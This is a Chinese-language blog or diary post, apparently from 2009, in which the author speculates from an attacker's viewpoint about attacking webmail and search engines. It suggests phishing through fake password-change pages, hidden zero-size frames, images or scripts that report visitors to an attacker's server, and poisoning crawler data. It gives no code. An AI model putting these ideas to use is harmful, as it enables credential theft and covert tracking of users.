就是应用系统在实现的时候,都基于一个懒惰、自由、信任、或者受限于安全编程去实现的。编程者相到的首先是如何实现一个功能,如何把这个功能实现的更加高效完美,这个功能也可能在输入输出时,设计者想到了许多方法去控制输入输出,但多个功能组件放在一个复杂的系统时,会产生了许多不可预知的状态。通常这种状态,就是我们可以寻找突破的地方。
恩,说了半天,我怎么老觉的没有说透,似乎让人越来越糊涂呢?
举一个例子吧。
比如国内的主流邮箱,大部分都提供了web mail功能。这些web mail
的实现,看上去都实现的非常好,效率高,反应快,界面漂亮,功能繁多,也没有什么安全问题,即使有,我们这样的水平,一时半会儿也要折腾着专门研究,就没时间赚钱吃饭了。所以,暂时还是很安全的。能随意控制这种系统的人,至少现在我还没有见过。只能让心底里崇拜吧。
那,这么安全的一个系统,如何实现我的需求?实现界面上面没有一些东西,让它真正 我所用呢?
我们就需要在这具系统的多个组件状态中,寻找突破口。
通过在一些web mail中,构造一个假造的用户名、密码修改页面,发送到别人,就可以通过钓鱼手段,取得没有防范心理的账户信息了。
另外,在一些web mail中,还可以加入frame,img,url,scrip,flash等对象,把对象的width=0
height=0,就隐藏起来了。如果再把这些对象引用,放到控制的服务器上面,就可以取得访问者信息了。
刚开始,我还以为这些对象的引用,需要经过web mail的过滤,后来发现,所能接触到的系统,都是没有通过服务器进行引用。哈哈。记住,是所有的系统。
如果有系统做了引用处理。那么,又提供了另一种可能。
一般服务器是不对外主动访问的。如果做了引用处理,就必须发起主动访问了。那么,这里面可以玩的,有趣的东西,就更多了,不是吗?引用对象各种各样,攻击者只要把对象放在外部,等着服务器来访问,进行感染服务器的功能组件就可以了。
恩,说到这儿。不得不提一下google/baidu一类的搜索引擎。
搜索引擎的实现我是一知半解,连点儿皮毛也不知道。但毫无疑问,是主动式的数据搜寻,找到后封装放到后台的数据库中。就是个数据搬运的过程。如果能把这个"搬运工"的机理研究透彻,有没有可能,把恶意数据感染到整个后台数据库呢?这样就可以影响全球的网络用户了。
这种恶意数据,一定隐藏的非常深非常好,表面上和所有的正常数据是一样的。更没有执行功能。只有在常见的浏览器查看时,才会显示出威力呢。就象图标漏洞、falsh漏洞。
Ok,说的这么悬,我觉的实现起来也非常难,但并不是没有可能。
虽然google/baidu数据读取时,"搬运工"是个主动控制数据的过程,另外,在数据到最终用户的过程,也要经过层层的控制。感染"搬运工"也非常难,毕竟是黑盒,不了解原理,另外,无法主动喂食数据,只能等到对方来取。给了定制好的数据后,"搬运工"是啥反应也很难捕捞。
虽然难题一堆,但我仍然相信,一个简单的慢速线路,就可以影响整个世界。
-------注:上面这些文字,是春节前写成的,一直放在日记里没有发出来。2009.1.31晚上凌晨,看到google全球各站都出了问题,只要提交搜索请求,包括
google自己的网站,都在搜索结果中,显示为恶意站点。是google自己出错,还是有人恶意入侵?其实我比较相信后者的可能性。